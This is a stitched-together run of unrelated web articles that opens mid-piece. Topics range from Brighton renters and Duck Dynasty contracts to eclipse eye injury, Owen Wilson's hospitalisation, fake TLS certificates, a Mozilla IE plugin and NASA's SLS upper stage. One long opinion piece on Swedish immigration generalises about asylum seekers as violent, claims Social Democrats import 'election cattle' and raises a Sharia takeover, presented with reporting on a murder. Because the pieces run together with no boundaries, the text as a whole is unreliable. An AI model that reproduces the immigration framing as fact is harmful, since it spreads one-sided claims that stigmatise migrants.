“This victory is only one small step in solving the Brighton housing crisis,” said ACORN member Ellie Ferguson. “Now, we need to continue to get organised. Our union branch is only just beginning to take the fight to the landlords. There is so much more to be done in rented accomodation all across the city, not just in student halls.”
According to a report at the Daily Mail, the Robertson patriarch is looking into ways to move the hit program about his family to "a Christian channel more in keeping with his views."
This allegedly involves Robertson setting up his own TV production company to create the series which would then be aired on a religious channel such as Trinity Broadcast Corporation or Christian Television Network.
For those unfamiliar, a report in 2010 claimed TBN to be accessible by almost 41 percent of the nation's 115 million TV homes. Believe it or not, that's more than ABC, CBS, and NBC.
By contrast, the smaller CTN has far less reach.
But it may not be so simple as contracts the entire family signed could prevent it:
A&E messed with the wrong redneck,’ a source close to the show told the National Enquirer. ‘Phil has agreed to return, but he’s already working on getting out their contracts.’ Back in August the Robertson clan signed a new contract with A&E for $200,000 per episode. That contract is supposed to keep the family tied to the network for several more seasons, but Robertson is confident that he can get them out of it on a technicality after the forthcoming fifth season ends. ‘He’s confident lawyers can find a loophole and get them out of any long-term commitments,’ said the source. ‘Phil wants to use his company name Duck Commander as the title for an entirely new show that they can produce themselves and be in control of what goes on.’
If this report is accurate, one has to think A&E is not going to go down without a huge legal battle.
Stay tuned.
Now he wants everyone to know the warnings about eye damage during the upcoming eclipse are no joke.
Back then, it was a total solar eclipse in Alaska and Canada, but the path of totality did not come through Oregon.
Still, Louis Tomososki remembers being 16 years old and watching it unfold from the baseball field at Marshall High School.
Nobody was talking about safety glasses back then, so he watched it with the naked eye, closing his left eye and leaving his right eye open.
“Oh 20 seconds probably, that’s all it took,” Tomososki said. “I’m glad I didn’t go 40 seconds; it would have been even worse.”
He doesn’t remember when he realized there was a problem, but those few seconds burned a hole in his retina, leaving him with a sizable blind spot he’s had ever since.
He describes it as looking at someone and being able see their face — but not their nose.
Tomososki remembers it was discovered during an eye exam when he went into the Air Force after high school.
In the 54 years since that eclipse, he said the blind spot hasn’t gotten any worse or any better.
“Every time we go to an eye doctor now for an exam, they dilate your eyes and look in there, the first thing they say is, you looked at a solar eclipse sometime in your life,” he said.
Dr. Brandon Lujan, an assistant professor of Opthamology at OHSU’s Casey Eye Institute, said the same damage can be done on any other day if you stare at the sun.
But with the eclipse, even when the visible light is reduced by the moon, UV and infrared rays can still do damage to the retina.
“Some damage occurs pretty quickly, but a lot of damage can take hours to days to really come to bear,” Lujan said.
“Unfortunately, there’s not a treatment for it, so once that damage is done you have to wait and hopefully things improve and your body can heal some, but a lot of the damage can be permanent.”
It’s a lesson Tomososki wishes he knew back in 1963.
With Monday’s total solar eclipse on the horizon, he wants people to remember that even a quick look at the sun with the naked eye just isn’t worth it.
“A quick look like we did back in 1963, and I’m 71, almost 71 now, that quick look cost us,” Tomososki said. “And it could have cost us a lot more.”
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When Alexandra Mezher was murdered, she was alone in the residence with ten asylum seekers. She was stabbed by one of the "children" she cared for.
The atmosphere on Swedish social media is now almost revolutionary. People post videos of themselves accusing the government of murder, of filling Sweden with violent people.
Mass immigration is continuing to claim victims in Sweden. Murder, assaults and rape have become everyday occurrences in this small country, with a population just short of ten million, which last year opened its doors to almost 163,000 immigrants. The latest victim is 22-year-old Alexandra Mezher. She was stabbed to death last week by a so-called unaccompanied refugee child at the asylum house where she worked.
Although the massive influx of asylum seekers has decreased drastically since January 4, when Sweden implemented border controls on the Swedish/Danish border, the people who are already here pose a giant problem to municipalities, police and citizens. The police are fighting a losing battle against street crime, as well as daily incidents at asylum houses – general disturbances that include fights, rapes and threats.
The asylum houses are in a state of anarchy. On January 27, police were dispatched to a home for teenagers in Lindås, where a riot had erupted. Policeman Johan Nilsson told the local paper, Barometern:
"One [of the youths] was refused when he tried to buy candy, and got angry with the staff. He gathered some 15 friends, and the staff was forced to lock themselves in while the mob smashed windows and other things. The instigator, supposedly 16 years old, is suspected of having started the riot, and another one is suspected of making unlawful threats and of violent rioting."
That suspect was later released, after producing a document that stated he was under 15, and thus not criminally responsible.
Another, more serious incident occurred at the asylum house Signalisten in Västerås on January 20. Ten policemen arrived at the facility due to reports of the repeated rape of a 10-year-old boy. The policemen were met by a large mob standing in a corridor, shouting and shaking their fists. The situation escalated to the point where the police were forced to flee for their lives. One of the officers later wrote in his report that it was only due to the presence of a police dog handler that he and his colleagues were able to escape:
"Even more people appeared behind us. I was mentally prepared to fight for my life. We were 10 police officers in a narrow corridor. And I heard someone yell that there is an emergency exit. I felt that we could easily have been outmaneuvered, considering the environment and the number of counterparties."
The policeman also wrote in his report that he hoped for more training in the future, on "how to handle crowds in confined spaces."
That the Swedish police are no longer able to do their duty is evident. National Police Commissioner Dan Eliasson recently demanded 2,500 more officers and 1,600 more civilian employees for the police, to handle the heightened terror threat and the increased influx of refugees. Considering the length of time needed to train policemen, it will probably be a while before the police can increase its numbers. Eliasson also demanded a budget increase of between 1.8 and 2.8 billion kronor ($214 million - $332 million), because the "migrant situation means a significantly higher workload for the police."
He identified at border controls and asylum houses as especially in need of greater resources, all over the country: "We need to be there often, there are fights and disturbances."
On January 26, what everyone had been dreading finally happened. The police arrived at an asylum house for "unaccompanied refugee children" in Mölndal early in the morning, after reports of a knife fight. By the time they arrived, it was too late. Asylum house employee Alexandra Mezher lay bleeding on the floor, stabbed by one of the "children" she cared for. She died in hospital a few hours later.
The police arrested a person claiming to be a 15-year-old from Somalia on suspicion of murder, as well as the attempted murder of one of the youths who allegedly tried to intervene. He was later remanded. According to the local daily, GT, the staff had previously warned on several occasions that the suspect had psychiatric problems.
The Mezher family are Lebanese Christians who fled the violence in Lebanon 25 years ago. Alexandra's mother, Chimene Mezher, told the British paper, The Daily Mail:
"We left Lebanon to escape the civil war, the violence and the danger. We came to Sweden where it was safe, to start our family. But it is not safe any more. ... And I just want to know why... why Alexandra? She wanted to help them, but they did this. I just want answers."
Chimene Mezher now accuses Swedish politicians of murdering her daughter. The dramatic recent population increase in Mölndal, a suburb of Gothenburg, has scared many of the 60,000 residents. In less than a year, 8,000 asylum seekers have moved in -- half of whom are so-called "unaccompanied refugee children."
It has now emerged that staff at the asylum house where Alexandra Mezher was murdered had repeatedly complained about unreasonable conditions. A year ago, employees warned about being understaffed and working alone: "So far, nothing serious has happened, but it will," said a desperate employee who called the Health and Social Care Inspectorate ("Inspektionen för vård och omsorg" or IVO). IVO inspected the asylum house, but found everything was in order. When Mezher was murdered, she was alone in the residence with ten asylum seekers. So far, no motive for the murder has emerged.
When the National Police Commissioner appeared on the "Good Morning Sweden" TV show, the day after Mezher's murder, he expressed sympathy for the murderer, but barely mentioned the victim. This sparked frenzied outrage on social media. Eliasson said:
"Well, you are of course distraught on behalf of everyone involved. Naturally, for the person killed and her family, but also for a lone young boy who commits such a heinous incident. What has that person been through? Under what circumstances has he grown up? What is the trauma he carries? This entire migration crisis shows how unfair life is in many parts of the world. We have to try to help solve this best we can."
The atmosphere on social media is now almost revolutionary. People are posting videos of themselves accusing the government of murder, of filling Sweden with violent people and completely ignoring Swedes.
Alexandra Mezher (left) was murdered in the home for "unaccompanied refugee children" where she worked. She was stabbed to death by a resident who claims to be 15 years old and from Somalia. When National Police Commissioner Dan Eliasson (right) spoke on television about the murder, he expressed sympathy for the murderer, but barely mentioned the victim.
What does the Swedish government really think? Does it maintain that the right of asylum is more important than everything else -- even the safety of its own people?
Gatestone Institute called Sofia Häggmark, a non-partisan official at the Department of Justice unit for migration rights. Here is the Q & A:
Should everyone get to seek asylum in Sweden, even if it leads to Sweden's undoing? "The right of asylum is very strong. We have international rules and EU rules that say that if a person comes to an EU country, that person has a right to seek asylum." Is it all right to say no if there are groups in your country that are being threatened by the asylum seekers -- minority populations such as Roma, Jews and Sami [Lapp]? Or that Sweden cannot afford it? "No, if a person has grounds for asylum or risks the death penalty or torture in their home country, you cannot deny them asylum." Is it not the Swedish government's primary task to protect Sweden and the Swedish people? "We need to abide by international rules; we are obliged to do that. We can be dragged before the Court of Justice of the European Union if we do not allow people to seek asylum." Which is more important – Swedish lives, or the risk that you might end up before the Court of Justice of the European Union? "I cannot answer that question; I can only tell you what the rules are." So you are saying that if 30 million people come here to kill us, we have no defense, we cannot stop it? "I can only tell you that the right of asylum gives very strong protection." But not for the Swedes? "If a person kills someone here in Sweden, the criminal justice system handles that and tries them. We need to look at every individual asylum case." Do you think it has ever happened at any time in the history of the world that a country cared more for the citizens of other countries than its own? "I cannot answer that. But there is no rule that sets a limit for how many [asylum seekers] Sweden can accept." So there is no plan for what to do when the country is full and the citizens are scared? "No, there is not." Do you personally think that feels okay? "I cannot answer that. That is not my job." If several millions of Muslims come here and implement Sharia law, then the right of asylum has effectively contributed to abolishing the democracy in our country, replacing the Swedish people and annihilating the whole concept of Sweden. Have none of you pondered these fateful issues? "I understand your thoughts."
The measures taken by the government on January 4 were a way to stop immigration without compromising the almighty "right of asylum," because only those who actually set foot on Swedish soil have the right to seek asylum. The government imposed carriers' liability for the train and ferry companies operating on the route between Denmark and Sweden, which means that those companies had to hire guards to refuse passage to anyone that cannot show a passport or other valid ID. This is the first time people cannot travel freely between the Nordic countries since the Nordic Passport Union was introduced in 1952.
The new identity checks have created a problem for Denmark, which was not at all keen to get stuck with all the asylum seekers headed for Sweden. Thus, Denmark introduced its own controls on the German border.
Otherwise, Denmark has chosen a different path from Sweden. Instead of preventing people from seeking asylum, the Danish Parliament adopted a new law on January 26, which includes sharp austerity measures towards asylum seekers – measures that the government hopes will discourage migrants from coming to Denmark. The new rules include:
Shorter residence permits
Postponement of the right to bring in relatives
The right of the state to seize a migrant's assets to cover asylum costs
Stricter qualifications to get permanent residency
An easing of the process for revoking the residency of refugees
A 10% cut in cash benefits for asylum seekers
Asylum seekers can only keep assets worth up to a total of 10.000 Danish krone ($1500), excluding jewelry of sentimental value.
This last rule has been widely debated -- and condemned, especially in Sweden. But the truth is that Sweden has a similar law, called the Reception of Asylum Seekers Law (Mottagande av asylsökande), which was introduced in 1994. Section 15 of the law states:
"A person who has a job, or other income or private assets, and lives in an asylum house, must pay a reasonable amount as compensation to the Migration Service. When food is included in the accommodation, a reasonable compensation should also be paid."
However, Swedish authorities, with broad political agreement, ignore this law.
Even the Danish Social Democrats supported the law. In 2010, the party demanded that Europe "make way for Islam," but now it has apparently made a complete U-turn. Social Democratic Faction Chairman Henrik Sass Larsen wrote in an opinion piece in the daily, Politiken:
"We will do all we can to limit the number of non-Western refugees and immigrants to this country. That is why we have gone far – much farther – than we ever dreamed of. We do this because we do not want to sacrifice the welfare state in the name of humanism. Because the welfare state is ... the political project of the Social Democrats. It is a society built on the principles of freedom, equality and solidarity. Mass immigration – look at Sweden for example – will undermine the economic and social foundation of the welfare state."
But protecting the welfare state that generations of Swedes have built, does not seem to be a priority for the Swedish Social Democrats. Some have long claimed that the Social Democratic affinity for immigration has to do with the party's desire to fill the country with "election cattle," and fuel has now been added to that fire. Muslims most often seem to vote for the left, studies show. For example, 93% of French Muslims voted for Socialist President François Hollande, and almost 90% of American Muslims voted for President Obama.
Judging by recent polls, Swedish Prime Minister Stefan Löfven will indeed need the Muslim votes in order to remain in power. The respected polling institute, Sifo, recently presented a report on party sympathies for the month of January. The Social Democrats got a pitiful 23.2% – the worst result since polling started in 1967. The party got 31% in the general election of 2014, and that was considered a rotten result.
Meanwhile, after the new border controls were implemented in January, and the number of asylum seekers arriving in Sweden decreased from a peak of over 10,000 a week, to 820 (during the third week of January), no one could tell if this was due to the border controls or the wintry weather.
In total, 162,877 people sought asylum in Sweden in 2015. That is almost twice as many as the year before and many times the average during the 2000s, which was roughly 33,000 a year.
NEOGEO: a visual history is the first officially licensed NEOGEO art book of its kind released in the English language. A visual celebration of all things NEOGEO, it’s crammed full of beautiful visuals split into dedicated chapters, including Hardware, Box Art, Character and Concept Art and Pixel Art. The imagery has been collated and photographed the from all over the world, which has been handpicked to appear in this unique and exclusive volume. NEOGEO: a visual history also features official interviews with key staff integral to the NEOGEO’s history, including producer Yasuyuki Oda, artist Tatsuhiko Kanaoka (Falcoon) and composer Hideki Asanaka (sha-v).
The book weighs in at a healthy 400 pages in length, A4 in size and available in hardback only. Metallic gold ink is used throughout and the binding employs thread rather than glue, so it will be much more durable and can open flat, minimising imagery lost in the binding. Produced using the very best in print techniques, it will happily grace any gamer's coffee table.
According to the records, a call was received at 12:08 p.m. on Sunday for an incident listed as "attempt suicide." Wilson remains in stable condition at Cedars-Sinai Medical Center in Beverly Hills, California, according to spokeswoman Cynthia Harding (see "Owen Wilson 'In Good Condition,' Hospital Says").
"Extra" reports that Wilson's brother Luke found him at his home on Sunday. Since being admitted to the hospital, Wilson reportedly has been visited by other family members, including his brother Andrew. Samuel L. Jackson was also seen at the hospital, though it has not been confirmed that he was visiting Wilson.
Wilson's publicist has offered no further comment since issuing the following statement on her client's behalf Monday: "I respectfully ask that the media allow me to receive care and heal in private during this difficult time."
Meanwhile, rumors continue to run wild over what provoked the incident. The New York Post cited a recent "vicious quarrel" with a close friend and his reported breakup with "You, Me and Dupree" co-star Kate Hudson as potential reasons — however, nothing has been substantiated.
The fate of two of Wilson's upcoming high-profile films remains to be seen. Slated for release next month is the Wes Anderson-directed "The Darjeeling Limited," in which Wilson co-stars with Jason Schwartzman and Adrien Brody. Wilson was scheduled to attend the film's debut at the Venice Film Festival next week; Fox Searchlight has not responded to inquiries about any change in plans for the launch of the film.
In addition, Wilson co-stars with friend Ben Stiller in next summer's "Tropic Thunder," a film that has recently been shooting in Hawaii. According to Variety, Wilson was due to begin shooting his starring role in the film in the coming weeks.
Now that Podesta has taken the plunge, it almost makes official what we already know: Hillary is in. And so are many longtime residents of Planet Clinton.
Even Podesta’s critics concede that he is an effective and experienced operator. Inside the Clinton Administration, he was known as a hard-working, intense figure with a caustic side. In a Times piece from September, 2000, Robert Pear and John Broder wrote, “Colleagues say, half-jesting, that he has an evil twin named Skippy, who is invoked to bring order to an unruly White House.”
A couple of years after the Clinton Administration ended, Podesta founded the Center for American Progress, a progressive think tank that, in a little more than a decade, has become an important player in the Washington power game, providing detailed analysis and policy recommendations, a forum for conversations and debates, and daily commentary on everything from the job figures to Bill Cosby. (Full disclosure: in 2013, I led a panel discussion at the launch of the Washington Center for Equitable Growth, which is housed at the Center for American Progress, and for which Podesta once served as chairman.) In January, 2014, Podesta left the Center for American Progress and joined the Obama Administration as a counselor to the President, focussed largely on environmental issues.
To the delight of environmental activists, when Podesta arrived back at the White House he championed the tactic of using executive power and the edicts of the Environmental Protection Agency to outflank Republican obstructionists on Capitol Hill. Last summer, the E.P.A. proposed a new rule designed to reduce carbon emissions from coal-fired power plants by up to thirty per cent. Other federal agencies, including the Department of Housing and Urban Development and the Federal Emergency Management Administration, have also stepped up their environmental initiatives. “I think he”—Podesta—“has made a tremendous difference,” former Vice-President Al Gore told National Journal’s Ben Geman. “I don’t think it, I know it.”
Some conservatives regard Podesta as an environmental extremist. From the left, the rap is that he is too close to major corporations and to Wall Street. In the late nineteen-eighties, when Podesta was working on Capitol Hill, he and his brother, Tony Podesta, founded the lobbying firm the Podesta Group, which is now one of the most successful in Washington. John Podesta hasn’t had a role in the firm for many years. But the Center for American Progress has faced accusations that it does favors for its corporate donors, most specifically in a May, 2013, investigative report by Ken Silverstein for The Nation.
The Center vigorously denies this charge. In a letter to The Nation, it said, “The inference at the heart of the author’s story is that corporate donations shape or drive the content of CAP and CAP Action. That assertion is baseless and completely false.” In December, 2013, the Center released a list of its corporate benefactors, which included Apple, Google, Walmart, Citigroup, and Goldman Sachs. The Center also pointed out that more than ninety per cent of its annual budget was financed through donations from individuals and philanthropic foundations, and that corporate donations accounted for less than six per cent.
My take on this flap is that with the Center for American Progress, as with any other think tank (or newspaper or magazine, for that matter), it is well worth keeping an eye on whether the folks who pay the bills are dictating the message. The Center would enhance its credibility—and this also applies to its competitors—if it more often promoted findings and policies that some of its financial backers and its political allies disagreed with.
That said, there’s quite a bit to recommend the Center’s activities, particularly its research initiatives and its Web site, which includes the lively (and editorially independent) ThinkProgress blog. Podesta’s efforts in founding the institution and getting it up and running filled a gap in the Washington ecosystem. Other liberal-leaning think tanks, such as the Economic Policy Institute and the Center on Budget and Policy Priorities, have long done sterling work. But, until the arrival of the Center for American Progress, which is now headed up by Neera Tanden, another Clintonite, no left-leaning think tank had the heft, the resources, and the drive of the conservative Heritage Foundation and American Enterprise Institute. (I am leaving out the Brookings Institution, venerable as it is, because it tends to stay above the fray, and also the New America Foundation, which is smaller and more narrowly focussed.)
Washington now has a big and well-financed progressive think tank that engages with the political debate on a daily basis. That’s a positive development—and not just for Democrats. On the basis of the theory of countervailing power, it’s good for democracy.
We've all heard about Trojan horse malware that poses as software you might want to run, phishing scams that send fake e-mail purporting to be from your bank, and identity thieves who can siphon away your money. But an unpleasant new variety of faith-undermining behavior has shown up twice now in recent months: bogus versions of the digital certificates that enable encrypted communications on the Net.
How does a bogus certificate hit you where it hurts? Think of the Web sites you trust, the ones with the traditional closed-lock icon that signifies a secure connection. Fake certificates, in combination with changes to the way in which data is routed around the Internet, can be used to steal passwords and intercept e-mail from use of those sites.
The problem is that there are hundreds of organizations called certificate authorities (CAs) that issue certificates, and those organizations may be vulnerable to attack. The certificate authority worry is very real: In March, Comodo issued fake certificates after a successful attack, and in August DigiNotar issued 531 fake certificates for Google, Facebook, Twitter, the CIA, and more. Some security experts expect more use of fake certificates, too.
In other words, we're running into a breach of trust not just for Web sites, but for the organizations set up to to tell us whether we can trust Web sites.
That's a particularly corrosive type of doubt to have in the back of your mind: it's systemic, with the potential to undermine faith broadly, not just hurt the reputation of one particular site.
The utility of trust
Trust is tremendously useful. It increases the efficiency of transactions, saving time by not requiring every little detail to be verified in advance.
It can be hard to establish trust, though. Here's a case in point from my recent move to France: my bank required a phone bill with my new address to prove that I really had moved, and my phone company required a bank statement with my new address before it would give me a subscription. (The situation was more complicated, to be fair, but that procedural deadlock was one very real aspect.)
Once the trust is established, though, future transactions get easier. For example, my bank now will send me a replacement debit card or an older bank statement with little fuss.
The bank's process is very formal, but I think systems of human interactions naturally incorporate trust more organically. Perhaps it's human nature, in which we evolved to give others the benefit of the doubt to some degree. Perhaps it's that a system with a certain amount of trust is more efficient and spreads more quickly to other people.
The problem is that it's easy to get ahead in the short run if you're willing to abuse trust. The September 11 attacks took advantage of some built-in goodwill in pilot training, aircraft security, and air traffic control. Other examples of abuses: fabricated news stories, fraudulent scientific results, investment funds that are actually Ponzi schemes, and the patron who stiffs the restaurant. If everybody skipped out on paying bills, you can bet that all restaurants would demand payment in advance, but for now, we generally get the flexibility of being able to add dessert and a coffee onto the bill at the end of the meal.
Happily, human systems repair themselves because overall the advantages of trust are pretty high, too. The stock market, airline industry, news media, scientific research community, and restaurant business all have surmounted plenty of trust-based challenges.
Hidden tax on the Net
What worries me about the Internet is that it operates at a massive scale and with greater automation. Even though the overall Net will keep on humming, a large number of individuals could suffer. Consequently, we're seeing a gradual rise in technical countermeasures. That means a tax on the Net's use, one way or another.
Here's one example: I use Google two-factor authentication, and it's a pain. For one thing, I have to have my phone around to provide a verification code when I log into my account from a new browser. Given that I have two phones, two tablets, three computers, and at least a dozen browsers in regular use, that's a lot of work.
Just as inconveniently, two-factor authentication means I have to generate passwords for apps that use Google services--Gmail and Google+ on my Android phones and tablet, Mail on my Mac and iPad, Chrome settings and iTunes-Google sync, and more.
I've thought about ditching two-factor authentication on many occasions, but each time I ponder the risks and leave it on.
Likewise, my bank makes me jump through hoops to sign on--but in today's world I grit my teeth and put up with it. When I sign up for new services, I worry that I'm adding one more potential way that some identity thief or fraudster will find a way into my life.
Browsers, the gateway to the Web, are on the front lines of this battle. There are encouraging signs here that browser makers are getting more serious.
Google has modified Chrome so that for particular domains such as Gmail, it will only use certificates from a short list of certificate authorities it deems solid. That won't stop all abuse, but it was useful enough to flag the DigiNotar problem.
Browser makers are also making it harder for add-ons to add themselves without user permission, asking difficult questions about balancing new features' utility and risk. More broadly, Google is pushing the use of secure Web connections, not just for Gmail but also for search.
No longer naive
This isn't the first time trust took a hit on the Net, of course, and computing systems continuously evolve away from their early, naive designs. Gone are the days when it was possible to break into servers with the username "guest" and an empty password, as described in Cliff Stohl's 1989 book "The Cuckoo's Egg."
The trouble is that the Internet is increasingly essential to school, business, politics, and our personal lives. The damages of breaches of trust are worse than ever.
It's great that the Net's technologists are responding. But there's no miracle cure here, and malicious hackers are advancing the state of the art at the same time. Governments and armed forces, not just thieves, are getting involved as cyberwar becomes just a facet of ordinary war.
Yuva Sena First Helpline: 9004797777, 8097003407, 9967141777
Pune: 9604848959, 9823727505, 9922921212, 9422517490, 9890000018
North Mumbai: 7738717273, 9867012697, 8097040973
Mulund: 8082111123, 8352022221, 9833325532, 9920369090
The helpline was launched on December 28, 2012 in Mumbai, Pune and Nashik. The numbers are active 24x7 and are committed to help girls even at unruly hours.
Yuva Sena member Samadhan Savankar said they have seen a good response to the helpline. "The first two days saw more than 1,000 calls. Girls from Pune and Mumbai started calling immediately with problems of eve-teasing," Savankar said.
"We have allocated groups of 10 to 12 people in all areas of Mumbai, Pune and other cities making it possible for us to provide aid to the girls within five to ten minutes of them calling us."
He also specified that most cases were seen in prime locations like railway stations and bus stops. "It is quite shocking that girls are eve-teased in such heavily-populated areas," he added. These groups are allocated in South Mumbai, Bandra and other such prime areas all across the city.
Talking about expanding the services of this helpline, Savankar said, "We are committed to this service and are planning to grow this helpline throughout Maharashtra. Helpline numbers in Kolhapur and Satara will start soon."
The Thackeray scion on social networking site Facebook said, "This is an effort that needs you to be active! The government must be insensitive, failing, but we cannot afford to sit and let our country go down. Rise up and share this with as many people as you can. Lets act, not only talk!"
Meanwhile, Shelia Dikshit's '181' helpline for women in Delhi was supposed to be launched on Monday. However, due to some technical glitches the number is still not active.
IE's shortcomings won't hold back the Internet for much longer, however, because Mozilla plans to drag IE into the next generation of open web technologies without Microsoft's help. One of the first steps towards achieving this goal is a new experimental plugin that adapts Mozilla's implementation of the HTML5 Canvas element so that it can be used in Internet Explorer.
The Canvas element allows web developers to programmatically render interactive bitmap images in HTML content. It was invented by Apple to bring richer graphical capabilities to the company's WebKit renderer. The Canvas functionality eventually became part of the HTML5 standard and has been implemented in both Gecko and Presto. Canvas is used extensively in several popular web applications, including Google Maps, but it hasn't gained widespread acceptance because it isn't available in Internet Explorer.
Taking advantage of ActiveX
In order to make Google Maps work in IE, Google had to develop ExCanvas—a complex library that implements many of the Canvas element's features with VML, Microsoft's proprietary alternative to SVG. Unfortunately, scripted manipulation of VML is too slow to be used for highly interactive web applications. Mozilla's solution is to bake its own native Canvas implementation into an ActiveX plugin that can be integrated directly into Internet Explorer.
Mozilla's Vladimir Vuki?evi? has developed a working prototype which demonstrates the viability of the plugin approach. His Internet Explorer component is built with Firefox code and implements much of the HTML5 Canvas specification. There are still some missing pieces, however, including support for several drawing functions. It's still largely a work in progress, and development is still at a somewhat early stage.
Vuki?evi? is confident that a lot of the holes can be filled without substantial effort, but his primary concern is with the challenges posed by deployment. The plugin is designed to snap into IE as a binary rendering behavior, but the browser's defensive security mechanisms insist on prompting the user before every time it is used. This detracts from the seamlessness of the plugin and makes it difficult to use for conventional web applications.
"Currently, the experience is pretty crappy: you have to click through an infobar to allow installation of this component, then you have to click 'Yes' to say that you really want to run the native content, and then you have to click 'Yes' again to allow the component to interact with content on the page," he wrote in a blog entry. "In theory, with the right signatures, the right security class implementations, some eye of newt, and a pinch of garlic, it's possible to get things down to a one-time install which would make the component available everywhere."
This Canvas plugin is only the first step toward bringing standards-based web technologies to Internet Explorer. Mozilla is working on a much more ambitious initiative called Screaming Monkey that will make it possible to plug Mozilla's entire next-generation JavaScript engine directly into Microsoft's web browser. If these plugins gain widespread acceptance, it will empower web developers and give them the ability to target web standards and not have to compensate as much for Internet Explorer's broken behavior.
Unfortunately, achieving a sufficient level of adoption for web compatibility plugins is easier said than done. Firefox, Opera, and even Safari all deliver a vastly superior user experience than IE on Windows, and yet Microsoft's browser still has massive market share. If Mozilla can't convince diehard IE users to install Firefox, it seems unlikely that such users will be willing to install Internet Explorer plugins that provide Firefox features.
Getting Adobe on board
Getting this technology to end users will be a huge uphill battle, but there are some intriguing possibilities and a number of possible solutions. Adobe is collaborating closely with Mozilla on next-generation web scripting technologies. This is purely speculation, but If Adobe decided to ship Screaming Monkey and the Canvas functionality as part of the next major iteration of the Flash plugin, it would rapidly accelerate adoption and get it onto lots of computers.
Although Canvas arguably competes with Adobe's Flash plugin in a certain set of use cases, it's worth noting that Adobe doesn't generate revenue from the Flash plugin itself. Adobe cashes in on Flash by selling its powerful authoring tools, which the company could easily extend to support standards-based web technologies.
Adobe is clearly inching toward openness with its recent Open Screen initiative and its contribution of source code to the Tamarin project. If Adobe were to fully embrace open web standards, Microsoft's stranglehold on web innovation could finally be broken and Adobe would also have more competitive leverage against Silverlight.
SLS Upper Stage:
The Space Launch System will be NASA’s launch vehicle of choice for deep space exploration missions, as the Agency returns to Beyond Earth Orbit (BEO) exploration.
Based on development and funding cycles, such exploration is targeted for the 2020s, ahead of the ultimate goal of launching crewed missions to Mars in the 2030s.
However, the vehicle was provided with an initial launch target of 2017, based on political language in the 2010 Authorization Act.
Such a target would have seen the rocket launched on an uncrewed test flight, prior to then standing down for another four years ahead of a crewed repeat of the first mission.
The reason for such an advanced launch date was largely related to the caveat of Orion providing a “back up” role to the Commercial Crew Program (CCP) – in the event of a serious setback for (both of) the commercial providers.
Such a requirement was never taken too seriously by NASA, not least because such a scenario would involve the overpowered 70mT capable Block 1 SLS (as such launching with “tons of ballast”) lofting a Beyond Earth Orbit (BEO) designed Orion (to LEO), with a crew on its debut mission (safety rules call for a uncrewed debut), at a cost that would probably solve any of the Commercial Crew Program woes that initiated such a backup requirement.
While the opening mission for SLS has since slipped to 2018 – and the mission plans are now evolving – some of the fallout from the political language remains, specifically involving the “interim” Upper Stage.
The Block 1 SLS is the “basic model”, sporting a Delta Cryogenic Second Stage (DCSS), renamed the Interim Cryogenic Propulsion System (ICPS) for SLS.
The current plan calls for this stage to be used on Exploration Mission -1 (EM-1) and Exploration Mission -2 (EM-2), prior to moving to the EUS – also to be built by Boeing – that will become the workhorse for SLS.
However, using the ICPS on a crewed mission will require it to be human rated. It is likely NASA will also need to fly the EUS on an unmanned mission to validate the new stage ahead of human missions.
This has been presenting NASA with a headache for some time, although it took the recent ASAP meeting to finally confirm those concerns to the public.
“The next big event is test flight Exploration Mission (EM)-1, on track for 2018 – a 24-day, uncrewed
cis-lunar voyage that will inject a lot of energy into the Program. The following flight, EM-2 that will have a crew, brings up an issue that deserves attention,” noted the minutes from the meeting.
“Presently, the Program does not have the upper stage that it needs because of lack of funding. A new upper stage, called the Exploration Upper Stage (EUS), will be developed for future crewed flights.
“As a fall back, NASA is planning to use the Interim Cryogenic Propulsion System (ICPS) that will get the job done through the test flight, but it is not what NASA will be using eventually.”
*Click here for more SLS News Articles*
The ASAP was told it will cost “at least $150 million” to human-rate the ICPS, something the panel believe “will be wasted because this design will be ‘tossed’ in the near future.”
UPDATE: References to the “engine” were cited at the meeting, but NASA later clarified the cost is associated with the entire ICPS.
While the panel noted it understands NASA is at the mercy of political funding constraints, the ASAP informed the NASA managers present to have a “go/no-go” decision by this fall on which way to proceed, adding they wish to “encouraged those that control the funds to think about the best use of that $150 M – should it be applied to the new stage (the EUS) or the old?”
The DCSS for EM-1 is already into the process of “cutting metal” and will be into full production by the time that decision point is met.
While EM-1 is all-but certain to be flying with the DCSS during the test flight, the question of when to switch to the EUS is fast becoming a major focal point.
Advancing the EUS to be ready for the start of crewed mission would remove a large concern, per comments made to the panel by Bill Hill, Associate Administrator for Exploration Systems Development (ESD).
Speaking of his “worry list”, the ICPS was classed as being at the very top. The concerns include completing the hazard analysis on time and the issue of a delay to some of the human-rating evaluations until later in the development cycle.
“This is a conservative use of money, but this delays the hazard analysis that normally is done as part of the design. When hazard analysis are done late, they simply document the design instead of informing it. This is a classic mistake in the system safety world,” added the minutes.
This could also be a smart move on NASA’s part, given almost everyone within the SLS Program is eager to move to the EUS as soon as possible, not least because it opens up the mission capabilities for the Heavy Lift Launch Vehicle – with the current lack of missions a major public concern.
There is also now political language to help facilitate the switch, laying the foundations to support a key decision point that calls for an advancement of the EUS plans.
“The Committee is concerned that NASA will attempt to take the Interim Cryogenic Propulsion Stage (ICPS) that will be used for EM–1 and create a human-rated variant. In doing so, NASA would spend $150,000,000 to develop a human-rated stage that would be used only once, before being replaced by the Exploration Upper Stage (EUS),” noted a Senate appropriations committee report.
“Such planning wastes valuable time and funding resources that should be used for developing the EUS from the beginning so that it will be available for all crewed SLS missions.
“To ensure proper funding, the Committee provides $1,900,000,000 in fiscal year 2016 for SLS, with no less than $100,000,000 provided for the direct development of the EUS to be used for EM-2.
“This funding level is necessary in order for the SLS to continue its progress towards a successful EM–1 launch as early as possible in 2018, to facilitate development of essential EUS propulsion hardware, and to begin the procurement process of long lead items for a crewed launch in 2021.”
The SLS teams are waiting for the language to become law, allowing them to press on with the EUS study work and install it into SLS’ plans.
Additional problems with having to start with an interim Upper Stage are also impacting on other elements associated with SLS, such as the Mobile Launcher.
The ML’s conversion from its role with the defunct Ares I launch vehicle are almost complete.
However, its array of umbilicals and connections are being worked with the ICPS in mind.
No design work has been approved for SLS using the EUS, although the changes between the SLS using DCSS and EUS wouldn’t be too drastic.
It is understood that SLS’s Crew Access Arm (CAA) and the Orion Service Module Umbilical (OSMU) – which will provide electrical, data, and purging processes to Orion’s Service Module – will be moved up the launch tower to match the Orion’s position on the stack with the EUS.
All the core stage arms and stabilizer will remain exactly as they are in the original plan, while there will be a new second stage hydrogen vent arm, similar or identical to the Core Stage Forward Skirt Umbilical arm.
However, the second stage LOX and LH2 umbilical arms will likely require a redesign during the switch.
Other considerations include the engines that will be used on the EUS.
